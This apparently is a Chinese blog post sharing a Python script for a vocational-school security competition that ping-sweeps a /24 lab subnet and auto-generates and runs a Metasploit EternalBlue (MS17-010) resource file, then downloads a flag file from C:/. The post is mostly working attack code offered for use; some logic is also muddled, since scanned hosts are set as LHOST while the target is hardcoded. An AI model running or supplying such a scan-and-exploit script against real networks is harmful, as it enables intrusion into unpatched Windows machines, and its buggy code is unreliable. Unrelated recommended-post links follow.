中职网络安全 MSF 漏洞 自动利用脚本 Python C模块

import os

import ipaddress

import queue

import socket

import threading

import random

from scapy.layers.inet import IP,ICMP,sr1

q = queue.Queue()

q2 = queue.Queue()

port = 1000

def get_ip(host):

ip = ipaddress.ip_network(host).hosts()

for i in ip:

q.put(str(i))

def host_Scanner():

while True:

if q.empty():

break

ip = q.get()

a = IP(dst=ip) / ICMP() / bytes(str([random.randint(0,255) for _ in range(10)]),encoding='utf-8')

b = sr1(a,verbose=False,timeout=3)

if b:

q2.put(ip)

def Handler(configFile,lhost,lport,rhost):

configFile.write('use exploit/windows/smb/ms17_010_eternalblue\n')

configFile.write('set LPORT ' + str(lport) + '\n')

configFile.write('set LHOST ' + str(lhost) + '\n')

configFile.write('set RHOST ' + str(rhost) + '\n')

configFile.write('exploit\n')

configFile.write('download C:/flag.txt ./' + '\n')

configFile.write('exit\n')

def main():

global port

if q2.empty():

return

configFile = open('ms17_010.rc', 'w')

lhost = q2.get()

lport = str(port)

rhost = '192.168.201.169'

Handler(configFile, lhost, lport, rhost)

configFile.close()

os.system('msfconsole -r ms17_010.rc')

print(f'[+] ip=>{lhost} is open ms17_010')

port += 5

if name == 'main':

file = open('ip.txt','w')

get_ip('192.168.201.0/24')

f = []

for i in range(50):

t = threading.Thread(target=host_Scanner)

t.start()

f.append(t)

for i in f:

i.join()

for i in range(2):

t = threading.Thread(target=main)

t.start()

相关推荐
适应规律3 分钟前
MMCV包的安装教程
python
云技纵横5 分钟前
Spring Cache 多线程环境的线程安全与并发控制
java·安全·spring
CP-DD11 分钟前
训练可以正常开始 一到 Validation 就直接炸 a PTX JIT compilation failed
python·深度学习·计算机视觉
luoluoal13 分钟前
基于python的des知识图谱的百科知识问答平台(源码+文档)
python·mysql·django·毕业设计
算法与编程之美25 分钟前
PyTorch中torch.flatten()函数的用法
人工智能·pytorch·python·深度学习·机器学习
余衫马26 分钟前
突破语言边界:Python 与 C/C++ 集成方案年度深度总结
c++·python·性能优化·年度技术总结
Justin_JGT33 分钟前
flask+uwsgi+Nginx
python·nginx·flask
Biehmltym34 分钟前
【AI】02实现AI Agent全栈:十分钟,跑通Python调用 Gemini(大模型)的小型Web项目
人工智能·windows·python
山海青风36 分钟前
人工智能基础与应用 - 数据处理、建模与预测流程 1 : 了解人工智能
人工智能·python
技术工小李37 分钟前
定制邀请函,助力陕西省第五届食管胃静脉曲张及其伴发疾病研讨会圆满落幕
python